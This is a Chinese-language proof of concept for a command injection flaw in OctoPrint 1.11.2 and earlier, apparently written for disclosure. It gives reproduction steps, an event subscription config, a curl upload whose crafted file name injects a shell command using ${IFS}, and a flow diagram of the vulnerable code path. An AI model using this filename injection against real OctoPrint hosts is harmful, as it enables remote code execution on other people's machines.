在 OctoPrint 版本 <=1.11.2 中,拥有文件上传权限(例如有效的 API 密钥或会话)的攻击者可以构造一个绕过净化处理的恶意文件名,该文件名随后会被 OctoPrint 的事件系统执行,从而在主机上实现远程代码执行(RCE)。
下载最新的稳定版本:OctoPrint 1.11.2
octoprint serve --port 5000 --debug
完成上述步骤后,停止 OctoPrint 服务。
按照 OctoPrint 事件文档:
编辑 ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"
创建 /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
重启 OctoPrint 服务。
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'说明:${IFS} 是 shell 的内部字段分隔符(通常为空格)。注入时可绕过净化处理。
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123
如果 /tmp/test123 存在,则说明注入的命令已成功执行 → RCE 已确认。
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
当文件被上传时:
;、${IFS} 等)会被传入 shell。